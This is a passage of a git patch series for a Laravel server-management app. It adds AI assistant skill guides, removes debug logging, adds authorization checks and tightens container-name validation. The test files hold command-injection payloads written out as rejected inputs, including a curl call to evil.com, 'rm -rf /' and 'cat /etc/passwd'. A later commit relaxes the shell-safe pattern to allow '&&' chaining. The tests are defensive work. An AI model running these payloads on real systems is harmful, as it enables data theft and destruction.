+public function store(StorePostRequest $request)
+{
+ Post::create($request->validated());
+}
+```
+
+## Array vs. String Notation for Rules
+
+Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses.
+
+```php
+// Preferred for new code
+'email' => ['required', 'email', Rule::unique('users')],
+
+// Follow existing convention if the project uses string notation
+'email' => 'required|email|unique:users',
+```
+
+## Always Use `validated()`
+
+Get only validated data. Never use `$request->all()` for mass operations.
+
+Incorrect:
+```php
+Post::create($request->all());
+```
+
+Correct:
+```php
+Post::create($request->validated());
+```
+
+## Use `Rule::when()` for Conditional Validation
+
+```php
+'company_name' => [
+ Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']),
+],
+```
+
+## Use the `after()` Method for Custom Validation
+
+Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields.
+
+```php
+public function after(): array
+{
+ return [
+ function (Validator $validator) {
+ if ($this->quantity > Product::find($this->product_id)?->stock) {
+ $validator->errors()->add('quantity', 'Not enough stock.');
+ }
+ },
+ ];
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/socialite-development/SKILL.md b/.cursor/skills/socialite-development/SKILL.md
new file mode 100644
index 000000000..e660da691
--- /dev/null
+++ b/.cursor/skills/socialite-development/SKILL.md
@@ -0,0 +1,80 @@
+---
+name: socialite-development
+description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Socialite Authentication
+
+## Documentation
+
+Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth).
+
+## Available Providers
+
+Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch`
+
+Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`.
+
+Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`.
+
+Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand.
+
+Community providers differ from built-in providers in the following ways:
+- Installed via `composer require socialiteproviders/{name}`
+- Must register via event listener — NOT auto-discovered like built-in providers
+- Use `search-docs` for the registration pattern
+
+## Adding a Provider
+
+### 1. Configure the provider
+
+Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly.
+
+### 2. Create redirect and callback routes
+
+Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details.
+
+### 3. Authenticate and store the user
+
+In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`.
+
+### 4. Customize the redirect (optional)
+
+- `scopes()` — merge additional scopes with the provider's defaults
+- `setScopes()` — replace all scopes entirely
+- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google)
+- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object.
+- `stateless()` — for API/SPA contexts where session state is not maintained
+
+### 5. Verify
+
+1. Config key matches driver name exactly (check the list above for hyphenated names)
+2. `client_id`, `client_secret`, and `redirect` are all present
+3. Redirect URL matches what is registered in the provider's OAuth dashboard
+4. Callback route handles denied grants (when user declines authorization)
+
+Use `search-docs` for complete code examples of each step.
+
+## Additional Features
+
+Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details.
+
+User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes`
+
+## Testing
+
+Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods.
+
+## Common Pitfalls
+
+- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails.
+- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors.
+- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely.
+- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`.
+- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol).
+- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved.
+- Community providers require event listener registration via `SocialiteWasCalled`.
+- `user()` throws when the user declines authorization. Always handle denied grants.
\ No newline at end of file
From f0c8ff6a77fca8dbda24ebf1ec63f7c2e3426ee5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 19:26:13 +0100
Subject: [PATCH 068/168] Update ByHetzner.php
---
app/Livewire/Server/New/ByHetzner.php | 46 ++-------------------------
1 file changed, 3 insertions(+), 43 deletions(-)
diff --git a/app/Livewire/Server/New/ByHetzner.php b/app/Livewire/Server/New/ByHetzner.php
index f1ffa60f2..4c6f31b0c 100644
--- a/app/Livewire/Server/New/ByHetzner.php
+++ b/app/Livewire/Server/New/ByHetzner.php
@@ -8,6 +8,7 @@
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\Team;
+use App\Rules\ValidCloudInitYaml;
use App\Rules\ValidHostname;
use App\Services\HetznerService;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
@@ -161,7 +162,7 @@ protected function rules(): array
'selectedHetznerSshKeyIds.*' => 'integer',
'enable_ipv4' => 'required|boolean',
'enable_ipv6' => 'required|boolean',
- 'cloud_init_script' => ['nullable', 'string', new \App\Rules\ValidCloudInitYaml],
+ 'cloud_init_script' => ['nullable', 'string', new ValidCloudInitYaml],
'save_cloud_init_script' => 'boolean',
'cloud_init_script_name' => 'nullable|string|max:255',
'selected_cloud_init_script_id' => 'nullable|integer|exists:cloud_init_scripts,id',
@@ -295,11 +296,6 @@ private function getCpuVendorInfo(array $serverType): ?string
public function getAvailableServerTypesProperty()
{
- ray('Getting available server types', [
- 'selected_location' => $this->selected_location,
- 'total_server_types' => count($this->serverTypes),
- ]);
-
if (! $this->selected_location) {
return $this->serverTypes;
}
@@ -322,21 +318,11 @@ public function getAvailableServerTypesProperty()
->values()
->toArray();
- ray('Filtered server types', [
- 'selected_location' => $this->selected_location,
- 'filtered_count' => count($filtered),
- ]);
-
return $filtered;
}
public function getAvailableImagesProperty()
{
- ray('Getting available images', [
- 'selected_server_type' => $this->selected_server_type,
- 'total_images' => count($this->images),
- 'images' => $this->images,
- ]);
if (! $this->selected_server_type) {
return $this->images;
@@ -344,10 +330,7 @@ public function getAvailableImagesProperty()
$serverType = collect($this->serverTypes)->firstWhere('name', $this->selected_server_type);
- ray('Server type data', $serverType);
-
if (! $serverType || ! isset($serverType['architecture'])) {
- ray('No architecture in server type, returning all');
return $this->images;
}
@@ -359,11 +342,6 @@ public function getAvailableImagesProperty()
->values()
->toArray();
- ray('Filtered images', [
- 'architecture' => $architecture,
- 'filtered_count' => count($filtered),
- ]);
-
return $filtered;
}
@@ -386,8 +364,6 @@ public function getSelectedServerPriceProperty(): ?string
public function updatedSelectedLocation($value)
{
- ray('Location selected', $value);
-
// Reset server type and image when location changes
$this->selected_server_type = null;
$this->selected_image = null;
@@ -395,15 +371,13 @@ public function updatedSelectedLocation($value)
public function updatedSelectedServerType($value)
{
- ray('Server type selected', $value);
-
// Reset image when server type changes
$this->selected_image = null;
}
public function updatedSelectedImage($value)
{
- ray('Image selected', $value);
+ //
}
public function updatedSelectedCloudInitScriptId($value)
@@ -433,18 +407,10 @@ private function createHetznerServer(string $token): array
$publicKey = $privateKey->getPublicKey();
$md5Fingerprint = PrivateKey::generateMd5Fingerprint($privateKey->private_key);
- ray('Private Key Info', [
- 'private_key_id' => $this->private_key_id,
- 'sha256_fingerprint' => $privateKey->fingerprint,
- 'md5_fingerprint' => $md5Fingerprint,
- ]);
-
// Check if SSH key already exists on Hetzner by comparing MD5 fingerprints
$existingSshKeys = $hetznerService->getSshKeys();
$existingKey = null;
- ray('Existing SSH Keys on Hetzner', $existingSshKeys);
-
foreach ($existingSshKeys as $key) {
if ($key['fingerprint'] === $md5Fingerprint) {
$existingKey = $key;
@@ -455,12 +421,10 @@ private function createHetznerServer(string $token): array
// Upload SSH key if it doesn't exist
if ($existingKey) {
$sshKeyId = $existingKey['id'];
- ray('Using existing SSH key', ['ssh_key_id' => $sshKeyId]);
} else {
$sshKeyName = $privateKey->name;
$uploadedKey = $hetznerService->uploadSshKey($sshKeyName, $publicKey);
$sshKeyId = $uploadedKey['id'];
- ray('Uploaded new SSH key', ['ssh_key_id' => $sshKeyId, 'name' => $sshKeyName]);
}
// Normalize server name to lowercase for RFC 1123 compliance
@@ -495,13 +459,9 @@ private function createHetznerServer(string $token): array
$params['user_data'] = $this->cloud_init_script;
}
- ray('Server creation parameters', $params);
-
// Create server on Hetzner
$hetznerServer = $hetznerService->createServer($params);
- ray('Hetzner server created', $hetznerServer);
-
return $hetznerServer;
}
From 0fed553207383f384b93cba24d28122065fa67d5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 19:33:51 +0100
Subject: [PATCH 069/168] fix(settings): require instance admin authorization
for updates page
---
app/Livewire/Settings/Updates.php | 3 ++
.../SettingsUpdatesAuthorizationTest.php | 41 +++++++++++++++++++
2 files changed, 44 insertions(+)
create mode 100644 tests/Feature/SettingsUpdatesAuthorizationTest.php
diff --git a/app/Livewire/Settings/Updates.php b/app/Livewire/Settings/Updates.php
index 01a67c38c..a200ef689 100644
--- a/app/Livewire/Settings/Updates.php
+++ b/app/Livewire/Settings/Updates.php
@@ -25,6 +25,9 @@ class Updates extends Component
public function mount()
{
+ if (! isInstanceAdmin()) {
+ return redirect()->route('dashboard');
+ }
if (! isCloud()) {
$this->server = Server::findOrFail(0);
}
diff --git a/tests/Feature/SettingsUpdatesAuthorizationTest.php b/tests/Feature/SettingsUpdatesAuthorizationTest.php
new file mode 100644
index 000000000..5a062101a
--- /dev/null
+++ b/tests/Feature/SettingsUpdatesAuthorizationTest.php
@@ -0,0 +1,41 @@
+create();
+ $user = User::factory()->create();
+ $team->members()->attach($user->id, ['role' => 'member']);
+
+ $this->actingAs($user);
+ session(['currentTeam' => ['id' => $team->id]]);
+
+ Livewire::test(Updates::class)
+ ->assertRedirect(route('dashboard'));
+});
+
+test('instance admin can access settings updates page', function () {
+ $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
+ Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]);
+ InstanceSettings::create(['id' => 0]);
+ Once::flush();
+
+ $user = User::factory()->create();
+ $rootTeam->members()->attach($user->id, ['role' => 'admin']);
+
+ $this->actingAs($user);
+ session(['currentTeam' => ['id' => $rootTeam->id]]);
+
+ Livewire::test(Updates::class)
+ ->assertOk()
+ ->assertNoRedirect();
+});
From d486bf09ab2da8ad78fa721a079f066c76ce08d2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:21:39 +0100
Subject: [PATCH 070/168] fix(livewire): add Locked attributes and consolidate
container name validation
- Add #[Locked] to server-set properties on Import component (resourceId,
resourceType, serverId, resourceUuid, resourceDbType, container) to
prevent client-side modification via Livewire wire protocol
- Add container name validation in runImport() and restoreFromS3()
using shared ValidationPatterns::isValidContainerName()
- Scope server lookup to current team via ownedByCurrentTeam()
- Consolidate duplicate container name regex from Import,
ExecuteContainerCommand, and Terminal into shared
ValidationPatterns::isValidContainerName() static helper
- Add tests for container name validation, locked attributes, and
team-scoped server lookup
Co-Authored-By: Claude Opus 4.6
---
app/Livewire/Project/Database/Import.php | 22 ++-
.../Shared/ExecuteContainerCommand.php | 3 +-
app/Livewire/Project/Shared/Terminal.php | 3 +-
app/Support/ValidationPatterns.php | 8 ++
.../DatabaseImportCommandInjectionTest.php | 125 ++++++++++++++++++
5 files changed, 158 insertions(+), 3 deletions(-)
create mode 100644 tests/Feature/DatabaseImportCommandInjectionTest.php
diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php
index 4675ab8f9..1cdc681cd 100644
--- a/app/Livewire/Project/Database/Import.php
+++ b/app/Livewire/Project/Database/Import.php
@@ -5,10 +5,12 @@
use App\Models\S3Storage;
use App\Models\Server;
use App\Models\Service;
+use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Storage;
use Livewire\Attributes\Computed;
+use Livewire\Attributes\Locked;
use Livewire\Component;
class Import extends Component
@@ -104,17 +106,22 @@ private function validateServerPath(string $path): bool
public bool $unsupported = false;
// Store IDs instead of models for proper Livewire serialization
+ #[Locked]
public ?int $resourceId = null;
+ #[Locked]
public ?string $resourceType = null;
+ #[Locked]
public ?int $serverId = null;
// View-friendly properties to avoid computed property access in Blade
+ #[Locked]
public string $resourceUuid = '';
public string $resourceStatus = '';
+ #[Locked]
public string $resourceDbType = '';
public array $parameters = [];
@@ -135,6 +142,7 @@ private function validateServerPath(string $path): bool
public bool $error = false;
+ #[Locked]
public string $container;
public array $importCommands = [];
@@ -181,7 +189,7 @@ public function server()
return null;
}
- return Server::find($this->serverId);
+ return Server::ownedByCurrentTeam()->find($this->serverId);
}
public function getListeners()
@@ -409,6 +417,12 @@ public function runImport(string $password = ''): bool|string
$this->authorize('update', $this->resource);
+ if (! ValidationPatterns::isValidContainerName($this->container)) {
+ $this->dispatch('error', 'Invalid container name.');
+
+ return true;
+ }
+
if ($this->filename === '') {
$this->dispatch('error', 'Please select a file to import.');
@@ -593,6 +607,12 @@ public function restoreFromS3(string $password = ''): bool|string
$this->authorize('update', $this->resource);
+ if (! ValidationPatterns::isValidContainerName($this->container)) {
+ $this->dispatch('error', 'Invalid container name.');
+
+ return true;
+ }
+
if (! $this->s3StorageId || blank($this->s3Path)) {
$this->dispatch('error', 'Please select S3 storage and provide a path first.');
diff --git a/app/Livewire/Project/Shared/ExecuteContainerCommand.php b/app/Livewire/Project/Shared/ExecuteContainerCommand.php
index df12b1d9c..4ea5e12db 100644
--- a/app/Livewire/Project/Shared/ExecuteContainerCommand.php
+++ b/app/Livewire/Project/Shared/ExecuteContainerCommand.php
@@ -5,6 +5,7 @@
use App\Models\Application;
use App\Models\Server;
use App\Models\Service;
+use App\Support\ValidationPatterns;
use Illuminate\Support\Collection;
use Livewire\Attributes\On;
use Livewire\Component;
@@ -181,7 +182,7 @@ public function connectToContainer()
}
try {
// Validate container name format
- if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $this->selected_container)) {
+ if (! ValidationPatterns::isValidContainerName($this->selected_container)) {
throw new \InvalidArgumentException('Invalid container name format');
}
diff --git a/app/Livewire/Project/Shared/Terminal.php b/app/Livewire/Project/Shared/Terminal.php
index ae68b2354..bbc2b3e66 100644
--- a/app/Livewire/Project/Shared/Terminal.php
+++ b/app/Livewire/Project/Shared/Terminal.php
@@ -4,6 +4,7 @@
use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
+use App\Support\ValidationPatterns;
use Livewire\Attributes\On;
use Livewire\Component;
@@ -36,7 +37,7 @@ public function sendTerminalCommand($isContainer, $identifier, $serverUuid)
if ($isContainer) {
// Validate container identifier format (alphanumeric, dashes, and underscores only)
- if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $identifier)) {
+ if (! ValidationPatterns::isValidContainerName($identifier)) {
throw new \InvalidArgumentException('Invalid container identifier format');
}
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 7b8251729..bc19d52a5 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -163,6 +163,14 @@ public static function containerNameRules(int $maxLength = 255): array
return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN];
}
+ /**
+ * Check if a string is a valid Docker container name.
+ */
+ public static function isValidContainerName(string $name): bool
+ {
+ return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1;
+ }
+
/**
* Get combined validation messages for both name and description fields
*/
diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php
new file mode 100644
index 000000000..f7b1bbbed
--- /dev/null
+++ b/tests/Feature/DatabaseImportCommandInjectionTest.php
@@ -0,0 +1,125 @@
+toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
+ expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
+ });
+
+ test('isValidContainerName rejects command injection payloads', function () {
+ // Command substitution
+ expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
+ expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
+
+ // Backtick injection
+ expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
+
+ // Semicolon chaining
+ expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
+
+ // Pipe injection
+ expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
+
+ // Ampersand chaining
+ expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
+
+ // Spaces (not valid in Docker container names)
+ expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
+
+ // Newlines
+ expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
+
+ // Must start with alphanumeric
+ expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
+ expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
+ expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
+ });
+});
+
+describe('locked properties', function () {
+ test('container property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'container');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('serverId property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'serverId');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceId property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceId');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceType property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceType');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceUuid property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceUuid');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+
+ test('resourceDbType property has Locked attribute', function () {
+ $property = new ReflectionProperty(Import::class, 'resourceDbType');
+ $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
+
+ expect($attributes)->not->toBeEmpty();
+ });
+});
+
+describe('server method uses team scoping', function () {
+ test('server computed property calls ownedByCurrentTeam', function () {
+ $method = new ReflectionMethod(Import::class, 'server');
+
+ // Extract the server method body
+ $startLine = $method->getStartLine();
+ $endLine = $method->getEndLine();
+ $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
+ $methodBody = implode('', $lines);
+
+ expect($methodBody)->toContain('ownedByCurrentTeam');
+ expect($methodBody)->not->toContain('Server::find($this->serverId)');
+ });
+});
+
+describe('Import component uses shared ValidationPatterns', function () {
+ test('runImport references ValidationPatterns for container validation', function () {
+ $method = new ReflectionMethod(Import::class, 'runImport');
+ $startLine = $method->getStartLine();
+ $endLine = $method->getEndLine();
+ $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
+ $methodBody = implode('', $lines);
+
+ expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
+ });
+
+ test('restoreFromS3 references ValidationPatterns for container validation', function () {
+ $method = new ReflectionMethod(Import::class, 'restoreFromS3');
+ $startLine = $method->getStartLine();
+ $endLine = $method->getEndLine();
+ $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
+ $methodBody = implode('', $lines);
+
+ expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
+ });
+});
From e2ba44d0c39571fb5f81e512b5454dd88aca9591 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:27:21 +0100
Subject: [PATCH 071/168] fix(validation): allow ampersands and quotes in
shell-safe command pattern
Previously, the SHELL_SAFE_COMMAND_PATTERN was overly restrictive and blocked
legitimate characters needed for common Docker operations:
- Allow & for command chaining with && in multi-step build commands
- Allow " for build arguments with spaces (e.g., --build-arg KEY="value")
Update validation messages to reflect the new allowed operators and refactor
code to use imports instead of full class paths for better readability.
---
app/Livewire/Project/Application/General.php | 23 ++++++++++--------
app/Support/ValidationPatterns.php | 8 ++++---
.../Feature/CommandInjectionSecurityTest.php | 24 ++++++++++---------
3 files changed, 31 insertions(+), 24 deletions(-)
diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php
index ca1daef72..5c186af70 100644
--- a/app/Livewire/Project/Application/General.php
+++ b/app/Livewire/Project/Application/General.php
@@ -3,11 +3,14 @@
namespace App\Livewire\Project\Application;
use App\Actions\Application\GenerateConfig;
+use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Support\ValidationPatterns;
+use Illuminate\Auth\Access\AuthorizationException;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Collection;
use Livewire\Component;
+use Livewire\Features\SupportEvents\Event;
use Spatie\Url\Url;
use Visus\Cuid2\Cuid2;
@@ -194,9 +197,9 @@ protected function messages(): array
'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.',
'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.',
'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.',
- 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
- 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
- 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
+ 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
+ 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
+ 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
'name.required' => 'The Name field is required.',
@@ -288,7 +291,7 @@ public function mount()
$this->authorize('update', $this->application);
$this->application->fqdn = null;
$this->application->settings->save();
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, just continue without saving
}
}
@@ -309,7 +312,7 @@ public function mount()
$this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n");
$this->application->custom_labels = base64_encode($this->customLabels);
$this->application->save();
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, just use existing labels
// $this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n");
}
@@ -321,7 +324,7 @@ public function mount()
$this->authorize('update', $this->application);
$this->initLoadingCompose = true;
$this->dispatch('info', 'Loading docker compose file.');
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, skip loading compose file
}
}
@@ -587,7 +590,7 @@ public function updatedBuildPack()
// Check if user has permission to update
try {
$this->authorize('update', $this->application);
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have permission, revert the change and return
$this->application->refresh();
$this->syncData();
@@ -612,7 +615,7 @@ public function updatedBuildPack()
$this->fqdn = null;
$this->application->fqdn = null;
$this->application->settings->save();
- } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ } catch (AuthorizationException $e) {
// User doesn't have update permission, just continue without saving
}
}
@@ -809,7 +812,7 @@ public function submit($showToaster = true)
restoreBaseDirectory: $oldBaseDirectory,
restoreDockerComposeLocation: $oldDockerComposeLocation
);
- if ($compose_return instanceof \Livewire\Features\SupportEvents\Event) {
+ if ($compose_return instanceof Event) {
// Validation failed - restore original values to component properties
$this->baseDirectory = $oldBaseDirectory;
$this->dockerComposeLocation = $oldDockerComposeLocation;
@@ -939,7 +942,7 @@ public function getDockerComposeBuildCommandPreviewProperty(): string
$command = injectDockerComposeFlags(
$this->dockerComposeCustomBuildCommand,
".{$normalizedBase}{$this->dockerComposeLocation}",
- \App\Jobs\ApplicationDeploymentJob::BUILD_TIME_ENV_PATH
+ ApplicationDeploymentJob::BUILD_TIME_ENV_PATH
);
// Inject build args if not using build secrets
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index bc19d52a5..27789b506 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -37,11 +37,13 @@ class ValidationPatterns
/**
* Pattern for shell-safe command strings (docker compose commands, docker run options)
- * Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns
- * Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks
+ * Blocks dangerous shell metacharacters: ; | ` $ ( ) > < newlines and carriage returns
+ * Allows & for command chaining (&&) which is common in multi-step build commands
+ * Allows double quotes for build args with spaces (e.g. --build-arg KEY="value")
+ * Blocks backslashes and single quotes to prevent escape-sequence attacks
* Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators)
*/
- public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/';
+ public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';
/**
* Pattern for Docker container names
diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
index 12a24f42c..cfa363e79 100644
--- a/tests/Feature/CommandInjectionSecurityTest.php
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -1,6 +1,7 @@
toBeArray();
- expect($merged['docker_compose_location'])->toContain('regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN);
+ expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN);
});
});
@@ -285,7 +286,7 @@
$job = new ReflectionClass(ApplicationDeploymentJob::class);
// Test that validateShellSafeCommand is also available as a pattern
- $pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
+ $pattern = ValidationPatterns::DOCKER_TARGET_PATTERN;
expect(preg_match($pattern, 'production'))->toBe(1);
expect(preg_match($pattern, 'build; env'))->toBe(0);
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
@@ -364,15 +365,15 @@
expect($validator->fails())->toBeTrue();
});
- test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
+ test('allows ampersand chaining in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
- ['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
+ ['docker_compose_custom_start_command' => 'docker compose up && docker compose logs'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
- expect($validator->fails())->toBeTrue();
+ expect($validator->fails())->toBeFalse();
});
test('rejects command substitution in docker_compose_custom_build_command', function () {
@@ -399,6 +400,7 @@
'docker compose build',
'docker compose up -d --build',
'docker compose -f custom.yml build --no-cache',
+ 'docker compose build && docker tag registry.example.com/app:beta localhost:5000/app:beta && docker push localhost:5000/app:beta',
]);
test('rejects backslash in docker_compose_custom_start_command', function () {
@@ -423,15 +425,15 @@
expect($validator->fails())->toBeTrue();
});
- test('rejects double quotes in docker_compose_custom_start_command', function () {
+ test('allows double quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
- ['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
+ ['docker_compose_custom_start_command' => 'docker compose up -d --build --build-arg VERSION="1.0.0"'],
